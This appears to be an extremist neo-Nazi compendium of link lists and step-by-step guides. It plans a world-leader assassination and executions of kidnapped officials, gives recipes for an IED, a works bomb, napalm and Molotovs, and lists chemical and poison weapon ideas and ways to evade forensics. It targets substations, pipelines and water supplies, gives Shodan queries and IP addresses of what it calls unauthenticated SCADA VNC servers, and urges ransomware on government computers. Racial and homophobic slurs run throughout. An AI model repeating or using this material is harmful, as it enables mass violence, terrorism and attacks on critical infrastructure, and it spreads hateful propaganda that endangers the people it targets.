- https://www.youtube.com/watch?v=8W5F2I75Cpw
M203 Grenade Launcher:
- https://www.youtube.com/watch?v=mxjxyfJ8Zvw
- https://www.youtube.com/watch?v=zRDd2q5m-oU
- https://www.youtube.com/watch?v=oqyLoU_0Av4
M32A1:
- https://www.youtube.com/watch?v=iryZ8iVPhmg
- https://www.youtube.com/watch?v=3GdB9wCNIho
- https://www.youtube.com/watch?v=09XNTj02Ep8
- https://www.youtube.com/watch?v=kSc3cvmCjMY
Glock:
- https://www.youtube.com/watch?v=S4xLG77HYtA
- https://www.youtube.com/watch?v=o0S9v4UPRg4
Sig Sauer:
- https://www.youtube.com/watch?v=IyBfrf7iitA
- https://www.youtube.com/watch?v=ie8lgLPNCfw
- https://www.youtube.com/watch?v=OfXzTY-SxLQ
Kel-Tec (Misc):
- https://www.youtube.com/watch?v=14qpdOkVypM
- https://www.youtube.com/watch?v=EuSime9eUpU
- https://www.youtube.com/watch?v=PVTcwVUIhFw
- https://www.youtube.com/watch?v=ti9bs-7ES2M
- https://www.youtube.com/watch?v=zxmRPgqVEHI
- https://www.youtube.com/watch?v=WAzg09vpT0g
- https://www.youtube.com/watch?v=HZkbJYj5Dto
-------------------------------------------------------------
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How To Fire Nuclear Weapons And Relevant Info:
- https://youtu.be/knDIENvBTgw
- https://www.youtube.com/watch?v=leiI2DVCF1A
- https://www.youtube.com/watch?v=IZXUC-nnDIc
- https://www.youtube.com/watch?v=FA_gIAGNDQ8
- https://youtu.be/nie32H0m5wI
- https://www.youtube.com/watch?v=qnxh3s2ClYk
- https://youtu.be/JOtoJbbU4ZE
- https://www.youtube.com/watch?v=hnQU7hm4y20
- https://www.youtube.com/watch?v=dYWf3bD7OlM
- https://youtu.be/HNlOsko1H7Q
- https://youtu.be/NqZ9XvzFiqw
- https://youtu.be/g6tFCaL1Ou4
- https://youtu.be/IGZclaApPvk
- https://www.youtube.com/watch?v=HZXn5Ct0PJg
- https://thecheatsheet.substack.com/p/us-soldiers-shared-nuclear-secrets
- https://www.theverge.com/2021/5/29/22459869/us-soldiers-leaked-nuclear-info-online-flashcard-apps
-------------------------------------------------------------
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
The Best Shotgun Rounds For Warfare Between Humans
- #5 Turkey Shot
- Sabot Slugs
- Dragon's Breath Rounds
- 00 Buckshot
=================================================================================
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
Non-Nuclear Electromagnetic Pulses, Lulz And You
Context:
- https://en.wikipedia.org/wiki/Electromagnetic_pulse
- https://www.youtube.com/watch?v=TWceSnGVtR8
RF Suitcases:
- https://www.apelc.com/rf-suitcase/
- https://celestia-sts.com/egse/integrated-systems/rf-suitcase/
- https://austria-in-space.at/en/projects/2010/generic-rf-suitcase-core.php
- https://www.apelc.com/high-power-rf/
- https://celestia-sts.com/2019/successful-delivery-of-euclid-rf-suitcase/
- https://celestia-sts.com/2018/euclid-spacecraft-rf-suitcase-contract-award/
- https://laboratorytalk.com/article/240578/satellite-testing-helps-solve
- https://www.koreascience.or.kr/article/JAKO200642872176361.jsp-kj=SSMHB4&py=2012&vnc=v27n6&sp=588
- https://www.ercim.eu/publication/Ercim_News/enw22/cluster.html
You can use an RF suitcase - an integrated RF subsystem - to fry life support in hospitals, critical infrastructure and water/power generation, take out servers, take out corporations, take out security cameras to banks/bunkers/military bases/police stations/etc to irreversibly destroy electronics and/or cover your tracks. You can also easily create these devices at home to take out anything that has no eletromagnetic shielding. It is basically a giant spark gap emitter.
===============================
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
How To Assassinate Any (Western) World Leader (And Likely Kill Yourself 100% Immediately):
You Will Need:
- Big Balls
- A Death Wish
- Food And Snacks At Your Safehouses (Preferably A Public Cabin)
- Twelve pairs of the orange Eagle Pair 190-540nm OD6 Laser Safety Goggles
- Eleven People You Trust
- Six 7 Watt 445nm Sanwu Lasers
- Six AR-15s and 9 30 Round Mags Per Man
- All Frangible Ammo
- Brass Catchers For Each Gun And a Man With a Big Bag For Shell Dumps
- Level IV Helmets And Vests.
- Laser Safety Knowledge
- A Bag Of Screws
- U.S. Army Marksman Shooting Experience
- Spark Gap Transmitters or Broadband Radio Jammers (Jams police and secuirty radio communication so they can't coordinate or respond)
- Some Wifi/CDMA/GSM/LTE Jammers (Jams Live Feeds from Journalists and Civilians, prevents calling for help)
- Combat clothes, from head to toe, Balaclavas, all the way down to the Boots need to be black or uniform. You came to blow not to larp as Power Rangers. Black/Green/Navy Blue. Pay cash.
- Gas/Styrofoam Napalm
Unwritten - Turn your jammers on before you get there. Test your vehicles and fuel them. And no, don't pull up to the gas station during the event. Leave all phones/technology at home. Bring nothing smarter than a AA battery powered device.
0) Put on your laser goggles and do not remove them for any fucking reason. You will see blue specks in your vision of it is daytime. This is color polarization. You will be fine. Obviously do not stare or look at the Sun. They're laser glasses, not solar glasses. Don't be dumb.
1) Steal cars for getaway and steal cars for fleeing. You need four. All old 1980s/1990s cars. Go to the event with your dudes. Put on the equipment but be mindful you will be shot in the fucking face so it won't matter.
2) Watch the live summit or G7 or whatever the fuck and wait for the time the reporters and world leaders are on the tarmac. Pick one person and stick with it in advance.
3) The world leader is worthless and a puppet. World leaders don't have guns. So they are meaningless. You want the security detail. Focus on them. The people with the most power on Earth are the people who protect the world leader, not the world leader themselves.
4) Blind the security detail and shoot them first. You have to neutralize the people who will kill you first before the target. Switch mags and empty brass catchers in the shell bag. Leave nothing behind for forensics.
5) Be aware world leaders have bulletproof suits. You will have to headshot them and blow at least six in their shit. But they will be running so shoot them in the back to stop them. It'll be like being beat with hammers for them, they will drop.
6) Throw screws in the turbines of their planes so they can not take off. Put some dudes on it. Shoot the engines if you must. Stop the possibility of a takeoff.
7) Make sure that truck with the stairs to the world leaders plane is not there because agents will still be in the plane waiting to rush you. Have a guy move it if possible. If not, put a "light mage"/laser beam nigga on it.
8) Flee the scene and get to your rally point outside the city where your second group of cars are. Torch your cars that you fled the assassination in.
9) Go to some safehouses and remain for a week.
10) Get outside the country afterwards for separate destinations.
11) Unless you are smart, you will be caught because that will be immediately investigated.
Notes:
If the world leader jumps into the armored car, don't worry. They don't have laser safety glass for windows or opaque, solid metal doors with cameras and screens. You can easily blind them and the driver through the car windows. If you can see into the car, you can laser into the car. If you have thermite and gas/stryrofoam napalm, you can burn the armored car to the point they jump out. If you can't get them out, turn their strength into a weakness. Ram their armored car or tow it into water. Drown them. Alternatively, throw some sugar in the tank so the car shunts the engine and cuts out. Put cannon fuse in the gas tank and light that motherfucker. Burn them.
===============================
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
What You Should Do If You Ever Wind Up In A Government Building During An Attempted Overthrow:
- Do not go to the event if you are over 50 years old. Stay the fuck at home.
- Do not go if you are female.
- Do not go if you are a fucking Karen GOP lover.
- Do not go if you are fat, have a bad heart, bad back, leg sprains, if you are a realtor, a grandparent, etc.
- Do not go if you have a Facebook, Instagram, Twitter, etc.
- Do not bring your cellphone or any electronics to a riot in a government building.
- Cover yourself from head to toe, wearing no patches or waving any flags typical of Trump, MIGA, Qfaggotnon or any of that Cuckservative boomernigger shit.
- Do not speak, use military hand signs.
- The only thing you need to bring is Baofeng Radios and LCD wristwatches
- Bring cell phone and spark gap radio jammers to stop all Federal Agent/Police communications. This may/may not affect military/national guard.
- Smear Lofentanil-DMSO on keyboards, mouses, doorknobs inside the room, on personal affects so whoever touches the shit gets an instant OD 400x the normal overdose for elephants and dies.
- Use a Linux Live USB to forensically carve (clone) their drives. If you can't do it, copy everything to a flash drive. Drop it in the mailbox of the Russian or Chinese embassy.
- Take the hard drives/SSDs from the politicians computers. DO NOT TAKE PHONES OR LAPTOPS.
- Put a virus in the computers. Preferably encryption virus that permanently locks them out or a trojan.
- Avoid all the cuckservative boomer faggots doing the MIGA/trumptarded shit. National Socialists and Fascists should be way smarter. Get in, get intel, get targets and get the fuck out.
- Actually know the layout of the fucking building you run up in before you fucking show up. Have a laminated map with you.
- Bring 7 Watt 445nm Blue Laser Pointers and 190-540nm OD6 Laser Safety Goggles
- Do not allow your group to be split by a nigger police officer deliberately touching your shoulder for you to chase them. Avoid what the dumb elderly retards are doing. Fuck the noise. Tune it out.
- Avoid shitting, cumming, pissing or spitting in the building.
- Bring zip ties or flex cuffs. They restrain captives.
- Bring TIHK keys, handcuff keys and ceramic blades. They get you out of cuffs.
- Do not trust outsiders who are not in your circle, the circle you came with to do real nigga shit. Do not allow some QAnon faggot in your natsoc circle and conversate and do not join theirs. Don't cheer with them. Don't boo them. Ignore them.
- Take a polaroid/instant camera if you can, so you can get photos.
- Set the building on fire. Actually destroy the institution at the physical level. Fuck the other people there. If they're smart, they'll leave. If not, you get roasted retards for dinner.
- Blind your targets with lasers. If you have to, blind cuckservatives and law enforcement who are physically in the way of you and your target. "BUT THEY'RE WHITE/MY RACE-" Yeah, shut the fuck up. That person would kill you or turn you in. They are not your people. They are slaves.
- Slaves chose their side. If they are in your way, blind them. If they try to put your laser from your hand or your goggles from your face, shoot them in the face. If they rush your friends, shoot them in the back. But shoot them.
- Use revolvers and rifles with brass catchers if you are doing on-site executions or executions period. Use frangible ammo only. Leave no slug with striations for ATF ballistics. Leave dust and only dust as you are a ghost.
- Leave no shell casings unless you want to deal with NIBIN. You don't.
- Take your target away immediately. Once you grabbed who or whomever your dudes were intent on clapping, get the fuck out, don't steal or put your feet on a desk for some photo. Don't steal cards or letters like that one dumb cockeyed redneck looking like an ayy lmao.
- If someone takes a picture of you, take their phone and smash it. I don't care if you are a Nazi and they are a 200% "insert your race/ethnicity" Cuckservative. Fuck the morals. They are not Nazis like you and that is all that matters. Smash that shit.
- I personally believe that for someone to be my kind they have to be the same race/ethnic group, AS WELL AS having the same mindset and beliefs. If you are the same as me but Republican, you are not my ally. You are my enemy, you neoliberal cuck faggot.
- If Whites care about their race, they will adopt my way of seeing it and stop waiting for grifters and cuck leaders.
- Have a killsite established in a pre-arraigned location for the targets you captured. Be sure to film them with a camcorder. Have a script for the person to read. If they are blind, tell them what to say. When they finish, dome them.
- 1080p, 4K and closeups are gold in the film world. If you do it, show us the electrons in their neurons and every fold in their brains.
- Get on a Tails Linux laptop and wipe the metadata from the video. Upload the video over Tor to DataFileHost, Solidfiles, AnonFiles or some other filehost.
- Get a Secmail or other darknet to clearnet email account and send the link of the video to Daily Mail, RT and SCMP, Then Reuters, MSNBC, FOX, CNN, CBS, ABC, etc
- DO NOT WRITE A MANIFESTO. YOUR VIDEO AND YOUR ACTIONS SHOULD EXPLAIN YOUR MOTIVATIONS BY HOW YOU CARRY YOURSELF AND WHAT YOU BELIEVE IN. AND YOU NEED TO BE COVERED HEAD TO TOE. USE A FAKE NAME FOR YOUR GROUP. DO NOT NAME THE GROUP IN THE VIDEO. USE A PSUEDONYM LIKE "HITLER'S BONE LORDS" AS OPPOSED TO "THE NATIONAL SOCIALIST LORDS OF KENTUCKY"
- Once you kidnap the target(s), Make them take off all jewelry, lapel pins or anything that could be a GPS tracker. If they can't, sock them and do it for them. Wear gloves and dump it at the government building
- Crop The Video, Edit Sounds Out From Animals Or Construction. You should be in the woods or in a warehouse, away from landmarks or any doxable place.
- Strip them and burn their clothes completely before the video. (Removes any DNA from when you grabbed them)
- Leave The Corpse At The Scene, Toss Into Water (Because your skin cells and sweat from your hands are on them from when you grabbed them).
- Bonus Mode: Hang them from a overpass bridge at night, like the cartels do for a power demonstration.
===============================
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
Weapons That Can Provide An Edge In 2021, The 21st And The 22nd Century:
- Infrared Blinding Lasers That Look Like Journalist Video Cameras For News Broadcasts To Get Close To High Value Targets.
- Lofentanil-DMSO Spraying Drones.
- Dimethylmercury Spraying Drones.
- Tetramethyl Orthosilicate Spraying Drones.
- Lofentanil-DMSO Sprinkler System.
- Tetramethyl Orthosilicate Sprinkler System.
- Dimethylmercury Sprinkler System.
- Thaliomide Spray To Cause Birth Defects In An Enemy Race/Nation/Population.
- Metal Casing Splash Bombs That Rupture On Impact, Releasing Hundreds Of Gallons of A Liquid Agent.
- Hot Lye Spraying Drones.
- Polonium Alloy Frangible Bullets.
- Multi-Watt 808nm Laser Array, Encased in an opaque glass siren that allows infrared light to pass through, capable of spinning at 2,000+ RPM with a 180 degree radius area of effect.
- 3 Watt 808nm Blinding Laser Drones.
- Infrasound Parametric Speaker Rifle with 5 Watt, 445nm Blue Laser Diode Integrated Within For Blinding
- Gauss Rifles.
- Railguns.
- Tungsten Carbide Kinetic Bombardment Rods.
- Flourine Gas Grenades That Ignite Lithium Ion Cells.
- Parametric Speaker Drones That Emit Infrasound.
- 5-MeO-DMT-DMSO Spraying Drones or 5-MeO-DMT Gas Grenades Made From Bufo Alvarius Extract.
- Datura "Tranqulizer" Darts.
- Datura Gas.
- Scopolomine Dust "Pepper Balls."
- Sulfuric Acid Glass Tanks Containing One Liter Of Sulfuric Acid That Ruptures On Targets.
- Nox Shells (Noxious Shells) - Napthalene/Potassium Nitrate/Sugar/Americium-241 Pellet Smoke Grenades.
- Liquid Radium Vial Bullets that cause a motherfucker's jaw to rot and fall off.
- Trencher Bullets - 12ga or 10ga Sabot Slugs that rip out excess internal tissue and bone, leaving a ten inch wide trench in a motherfucker's chest.
- Corium Alloy Bullets, made from corium extracted from Chernobyl or Fukishima.
- Fentanyl Gas From The Chechen Hostage Crisis Theater Situation In Russia.
===============================
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
Biological Safety Lab, Level-4 Facility Locations In The USA:
Centers for Disease Control and Prevention
Atlanta, GA
Center for Biodefense and Emerging Infectious Diseases
University of Texas Medical Branch
Galveston, TX
Center for Biotechnology and Drug Design
Georgia State University
Atlanta, GA
Southwest Foundation for Biomedical Research
San Antonio, TX
Rocky Mountain Laboratories Integrated Research Facility
National Institute of Allergy and Infectious Diseases
Hamilton, MT
United States Army Medical Research Institute for Infectious Diseases
Department of Defense
Frederick, MD
Integrated Research Facility
National Institute of Allergy and Infectious Diseases
Ft. Detrick, MD
Galveston National Laboratory
University of Texas Medical Branch
Galveston, TX
National Biodefense Analysis and Countermeasures Center
Department of Homeland Security
Frederick, MD
National Bio- and Agro-Defense Facility (NBAF)
Department of Homeland Security
Manhattan, KS
National Biocontainment Laboratory (NBL)
Boston University
Boston, MA
Virginia Division of Consolidated Laboratory Services
Department of General Services of the Commonwealth of Virginia
Richmond, VA
如果有战争，首先轰炸这些城市，以便实验病毒可能逃脱
Если будет война, сначала разбомбите эти города, чтобы экспериментальный вирус мог сбежать
در صورتی که یک جنگ وجود دارد ، برای اولین بار بمب این شهرستانها به طوری که ویروس تجربی می تواند فرار کنند
===============================
# ###### # # ### ##### ####### ####### ####### ###### ### ###### # # #
# # # # # # # # # # # # # # # # # # # # ## #
# # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # ##### ##### # # ###### # ###### # # # # #
####### # # # # # # # # # # # # # # # ####### # # #
# # # # # # # # # # # # # # # # # # # # # ##
# # ###### # ### ##### ####### # ####### # # ### # # # # # #
Project Amad 2.0 - How To Get Nukes And How Not To Get Raided By Mossad Edition
Presentation, Documents And Powerpoints:
- LibreOffice
- Linux WPS Office
- Latex Beamer
- Calligra
- Sozi
Illustration And Animation:
- GIMP
- Inkscape
- Blender
Data Storage Ideas:
- Encrypted EXT4 + LUKS USB Drives
- Encrypted EXT4 + LUKS Backup Hard Drives
- Encrypted EXT4 + LUKS USB Drives With VeraCrypt Volumes
- Encrypted EXT4 + LUKS Backup Hard Drives With VeraCrypt Volume
- Encrypted Data Servers On Linux
- Encrypted Data Servers On OpenBSD
Test Location Ideas:
- Semaan Region, Underground Testing Facility
- Lot Desert
- Uninhabited Interior Of Iran
- External Islands, Outside Of Iran
===============================
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
Electrical Substation Locations (Destabilization)
Расположение электроподстанции
变电站位置
محل قدرت
https://hifld-geoplatform.opendata.arcgis.com/datasets/755e8c8ae15a4c9abfceca7b2e95fb9a_0
https://hub.arcgis.com/datasets/25ceb557ce87478687d5b768f2c24469_1
-------------------------------
Fentanyl can be used as a weapon against water supplies. (Destabilization)
Фентанил может быть использован в качестве оружия против водоснабжения
芬太尼可以用作对抗供水的武器
فنتانیل می تواند به عنوان یک سلاح در برابر تامین آب مورد استفاده قرار گیرد
https://www.cdc.gov/niosh/ershdb/emergencyresponsecard_29750022.html
https://www.bloomberg.com/news/features/2018-12-12/killer-opioid-fentanyl-could-be-a-weapon-of-mass-destruction
-------------------------------
Oil And Gas Pipeline Locations (Sabotaging/Destabilization)
Участки нефте- и газопроводов
石油和天然气管道位置
مکان های خط لوله نفت و گاز
https://hub.arcgis.com/datasets/afd2f84c22db417ba17394b33481d1ed_0?geometry=-90.634%2C36.181%2C-82.350%2C42.138
https://hub.arcgis.com/datasets/cc3813401e0849c193213d5793959dc7
https://hifld-geoplatform.opendata.arcgis.com/datasets/natural-gas-pipelines
-------------------------------
Michigan Fake IDs Work (Voter Fraud, Infiltration)
Мичиган Поддельные документы, удостоверяющие личность сканируется и делать работу
密西根州的虚假身份证明文件被扫描并接受
اسناد شناسایی دروغین میشیگان اسکن و پذیرفته شد
https://www.fox5ny.com/news/shipments-of-nearly-20000-fake-drivers-licenses-seized-at-chicago-airport
-------------------------------
US Internet Submarine Map (Sabotage)
Подводная карта американских интернет-кабелей
美国互联网电缆的水下地图
نقشه زیر آب کابل های اینترنتی ایالات متحده
https://hifld-geoplatform.opendata.arcgis.com/datasets/9472a3bd28684857badfc655e3204fa6_4
-------------------------------
Fucking The USA - Colonial Pipeline Style
Have English speaking people read this or translate this
Попросите англоговорящих людей прочитать его или перевести
请由讲英语的人阅读或翻译
از افراد انگلیسی زبان بخواهید که آن را بخوانند یا ترجمه کنن
http://randominternet.blogspot.com/2009/07/service-provider-corporation.html#:~:text=This%20is%20an%20organization%20that,agent%20appears%20to%20be%20IPhones.
https://krebsonsecurity.com/tag/wireless-data-service-provider-corporation/
https://www.osti.gov/biblio/1337873/
https://www.researchgate.net/publication/304371628_Attacking_the_smart_grid_using_public_information
https://static1.squarespace.com/static/5d34d73f43d37a0001d73dcf/t/5e658e86b6faeb732c253ee1/1583713927513/ASAResearchNote_2020-03_Osuch_IoT-SCADA-Risk-Smart-Grids.pdf
https://www.power-grid.com/der-grid-edge/google-dorking-and-shodan/
https://arstechnica.com/information-technology/2018/01/the-internet-of-omg-vulnerable-factory-and-power-grid-controls-on-internet/
https://www.eenews.net/stories/1060004528/
https://slidetodoc.com/a-gridwide-highfidelity-electrical-substation-honeynet-daisuke-mashima/
https://www.slideshare.net/RafaHryniewski/shodan-106334398
https://radiflow.com/blog/revealing-web-connected-critical-devices/
https://www.energy.gov/sites/prod/files/2017/01/f34/Cyber%20Threat%20and%20Vulnerability%20Analysis%20of%20the%20U.S.%20Electric%20Sector.pdf
http://www.naseo.org/Data/Sites/1/events/riskworkshop/juan-torres-presentation.pdf
http://sites.nyuad.nyu.edu/moma/pdfs/pubs/C27.pdf
https://blog.getcryptostopper.com/shodan-demonstrates-why-closing-unused-iot-ports-is-critical-to-cyber-security
https://threatpost.com/electric-utility-cybersecurity-regulations-have-a-serial-problem/103838/
https://www.ptsecurity.com/ww-en/about/news/the-number-of-internet-accessible-industrial-control-systems-is-increasing-every-year/
https://voterrecords.com
-------------------------------
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
Shodan.io Search Query For Vulnerable American SCADA Infrastructure Networks
Поисковый Запрос Для Уязвимых Сетей Инфраструктуры SCADA В Соединенных Штатах
美国易受攻击的SCADA基础设施网络的搜索查询
جستجو نمایش داده شد برای آسیب پذیر شبکه زیرساخت SCADA در ایالات متحده است
https://www.shodan.io/search?query=screenshot.label%3Aics+country%3A%22US%22+port%3A%225900%22+org%3A%22Service+Provider+Corporation%22
https://www.shodan.io/search?query=water+country%3A%22US%22
https://www.shodan.io/search?query=temperature+country%3A%22US%22
https://www.shodan.io/search?query=tank+country%3A%22US%22
https://www.shodan.io/search?query=voltage+country%3A%22US%22
https://www.shodan.io/search?query=pH+country%3A%22US%22
https://www.shodan.io/search?query=pump+country%3A%22US%22
https://www.shodan.io/search?query=scada+country%3A%22US%22
-------------------------------
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How To Get Endless Free Vulns From Shodan.io
(USE A VPN, NIGGER!)
0) Disable IPv6 in your device.
If you use Linux, open a terminal and do the process listed in the following links:
https://itsfoss.com/disable-ipv6-ubuntu-linux/
https://www.techrepublic.com/article/how-to-disable-ipv6-on-linux/
https://www.linuxbabe.com/ubuntu/disable-ipv6-on-ubuntu
1) Have a VPN on. I recommend NordVPN. Be connected to it.
MAKE SURE YOUR IPv6 is disabled.
You can get free cracked NordVPN by looking up "NordVPN cracked accounts telegram"
Alternatively, you can go to crackingtutor1al.blogspot.com
2) Enable the Firewall, the Killswitch, etc.
3) Make a Yandex.com account. Select "I don't have a mobile phone number" Be sure to remember your security question answer.
3A) You can also use temp-mail.com
4) Make a Shodan.io account. You will get a free API and at least 20 searches a day. Search for shit like this:
authentication disabled
pipeline
oil
water
pump
pipe
vnc
municipal
power
level
temperature
Alternatively, you can use the search queries herein.
You can search any country, OS, port that you want to search.
DO NOT CLICK THE IPs, DON'T TRY TO FUCK WITH ANYTHING. ACCESSING THE VNC SERVER WILL GET YOU FUCKED UP, UNLESS YOU ARE SMART.
Print the page you're on, Save to PDFs. This way, you get the vulns without being hit up because you have to pay to export the data.
Do you honestly want to pay 299 dollars to make a fucking list in your account?
Stay on the page and you can just print to PDF, keeping the IP, server info. This is good for VNC servers with authentication disabled.
5) Once you hit the daily API limit, log out of Shodan.io, switch VPN servers to a new VPN server.
6) Delete your Yandex account. Go to this link and begin the process:
https://yandex.com/support/passport/delete.html or alternatively, go straight to this:
https://passport.yandex.com/profile/delete?mode=delete&origin=passport_profile
7) Enter your security answer and the captcha.
8) Delete your account.
9) Repeat Steps 3 - 9 as many times as you want.
Notes:
- I don't think Shodan bans or IP blocks but don't try to find out. Switch servers.
- Shodan and Yandex do not limit the amount of accounts you can create.
- You could theoretically do it all day from the same server.
- When you adjust the search filter on Shodan, it counts as a new search so that will shorten your daily alloted searches each time you change the filter.
- Do not start fucking with their shit.
- MAKE SURE YOUR IPV6 IS NOT LEAKING
- You can even delete your Yandex account immediately after getting your Shodan activation email and clicking the link.
===============================
# # # ##### ###### #
# ## # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
# # # # ###### ######
Vulnerable American SCADA VNC Servers (From Shodan):
Austin, Texas, USA - Oil Pipeline (Tank System):
166.247.56.75:5900
Chicago, Illinois, USA - Electric Substation (DC Voltage):
166.254.78.112:5900
Marion, IA, USA - Wastewater Treatment (Tank/Filtration System):
166.254.103.156:5900
Louisville, KY, USA - Water Treatment (Filtration System):
166.246.150.204:5900
More can be found with the search queries! >:)
Source Of Information - Faggot Whitehat Blabbing Nonstop About What He Found:
https://www.reddit.com/r/hacking/comments/naxgl8/coloninan_pipeline_is_only_the_beginning/
===============================
How To Make A Good Cluster Bomb:
https://archive.is/WgVev/342fc5887eb82c1510f202c5b104b5b43a81f552.jpg
===============================
How To Sabotage A Inner City/Metropolis:
https://archive.is/c4dJ8/26f953271dc763458c8c34bd5779f243807561b0.png
===============================
On Civil War:
https://archive.is/8wvfY/b309384a99abdeed8a18e5d19f71ab148b0b0af9.png
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Tips On Shootings From 8chan And Common Sense:
• Collect any and all brass casings.
• ShotSpotter is in a lot of places and will detect suppressed shots.
• The best time to shoot is July 4th when ShotSpotter is strained by fireworks.
• The second best time to shoot is 11:59pm, December 31st. New Years Eve.
- Several people will be shooting so this is good aural cover.
- With so much brass, who knows what happened?
* Collect your shells regardless.
• Use shotguns, due to lack of ballistics.
• Use .22s subsonic suppressed for minimal report.
• Use .300 Blackout suppressed for minimal report.
• Use Frangible ammunition, nothing else. No bullet, no ballistics.
• Replace your barrels. Ballistics can trace a non frangible bullet to your barrel.
• Buy a bunch of bunch of barrels.
• Buy a diamond rasp file. Use it to file out barrels used in shootings.
- With the rasp, scrape the shit out of the inside of the used barrel.
- This will further fuck the ballistics.
- One night, without taking any electronic devices, toss your scraped barrel into a river.
• If you fire a gun, go shower once you can.
• Get a black gun. Silver shines at night.
• Get a lightweight polymer gun. So, Glock, Kel-Tec etc.
• Do not bring ANY electronic devices smarter than a Casio wristwatch.
- Do not bring anything with GPS, Bluetooth or Wifi.
• Do not drive any fucking smart cars with OnStar or SiriusXM. Get an old ass vehicle.
• Motorcycles, ATVs, old vehicles, bikes only.
• Have no witness or accomplice.
• Do not kill someone you know or in your area, not even a local politician you hate. Well, maybe a mayor but not local politicians. Too specific.
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Tips On Bombing From The Failures Of Mark Antony Conditt & The Unabomber:
• Never put on a disguise and take a bomb into a location. That is stupid.
• Never bring your cellphone with you when you're going to plant a bomb.
• Never order bomb components on Amazon.
• If you order bomb components online, use a VPN and a drop address.
• Never drive a smart car.
• Never buy parts from a hardware store near your house.
• Never buy parts multiple times.
• Wait at least six months before building something after buying parts.
• Never, NEVER, write a fucking manifesto. STOP DOING THAT SHIT.
• Test your shit in the woods somewhere before you actually do a bomb project.
• Pick random times.
• Do not develop a fucking routine.
• Do not build a bomb in your house.
• Do not keep bomb components in your house. Get a fucking cabin or a trailer. Rent a fucking cabin. Buy a shed and put it in the woods somewhere 50 miles from your house.
• Don't develop patterns.
• Don't bomb back to back. Space it out. Take breaks. Change MOs. Move differently.
• Do not try to use a package service, deliver your shit yourself.
- COVER UP FROM HEAD TO TOE, CONCEAL YOUR ETHNICITY AND SEX!
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How To Burn Right (Area Denial/WMD):
• Directed Energy is the best way to burn a forest.
• It is no secret Antifa is burning the West Coast. Don't play dumb, they know, I know, you know.
- Antifa uses butane, kerosene, gas, etc, accelerants.
- Accelerant can be detected in arson investigations and you don't want that.
- Using fireworks like Antifa did is also stupid because pieces of the fireworks remain, as EVIDENCE.
• To burn like a pro, get a magnifying glass and go to the woods on a sunny day. Magnify a ray of sunlight until you ignite brush, bark or a pile of dead leaves. Once you have your fire, get the FUCK out.
• Another way to burn like a professional is to use a one watt, blue laser pointer. Pile up a bunch of leaves and a piece of paper and focus the beam to a small point. Burn a black piece of construction paper or a dark leaf to get it going.
How To Burn Right (Insurgency/Urban):
• Make Molotov Cocktails with 1/3 motor oil and 2/3 gasoline. Soak the rags in gas and let them dry. Some gas will evaporate but the rags will be more flammable.
- Use a brown or green thin glass beer bottle.
- Make sure you plug up the bottle right so the fuel doesn't pour out on you and cause you to do the Antifa Shuffle.
• Throw the fucking bottle forward in a right side up position.
How To Make Self-Igniting Molotovs:
https://youtube.com/watch?v=OU-odCVdgLY
===============================
Break Into Cars:
- Ninja Rocks (Spark plug fragments)
- Slim Jim tools
How To Steal Cars:
- Auto-Jigglers
- Hot Wiring
- Key Duplication
- Car Hacking
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Fuck Fireworks:
I notice Antifa uses fireworks because leftists are stupid as fuck and fireworks are all they can get. Fuck that shit.
• Buy black powder, BB gun 12g CO2 canisters, visco fuse and drill bits.
- Drill a hole into the top of the CO2 canister after you use it or puncture it to make a bigger hole.
- Put black powder into the CO2 canister.
- Put visco fuse into the canister and seal it with glue. Use hot glue at your own risk. Foam glue or some kind of putty is best. No cyanoacrylate/superglue.
- Congrats, you now have a small IED.
- Here is a video of a CO2 canister powder charge:
https://youtube.com/watch?v=xBAZ8ioEP8c - CO2 Cartridge Pipe Bomb (PB6)
https://youtube.com/watch?v=1UfBPduR0NY - Pipe Bomb PB4
• Get bottles, liquid HCL Drain Cleaner/Toilet Bowl Cleaner, aluminum foil and a 2 liter coke bottle.
- Make quarter sized foil balls. At least 12. Put them in first. Fill up the bottle with drain cleaner just enough that the balls are almost submerged. Seal it immediately. Make sure it's sealed. Shake it, toss it.
- This is a Works Bomb. In 10 - 20 minutes, it will go off. In a confined space, it is dangerous. In a riot, it is a noise maker louder than a gun and a diversion device.
- Here is a video of a works bomb:
https://youtube.com/watch?v=63FsJH5xwMs - Squirrel & Tuna 5 Gallon Works Bomb
• Get Styrofoam cups and Gasoline and a 5 gallon bucket.
• Break up Styrofoam and add gasoline slowly, stirring.
- The foam will dissolve into the gasoline.
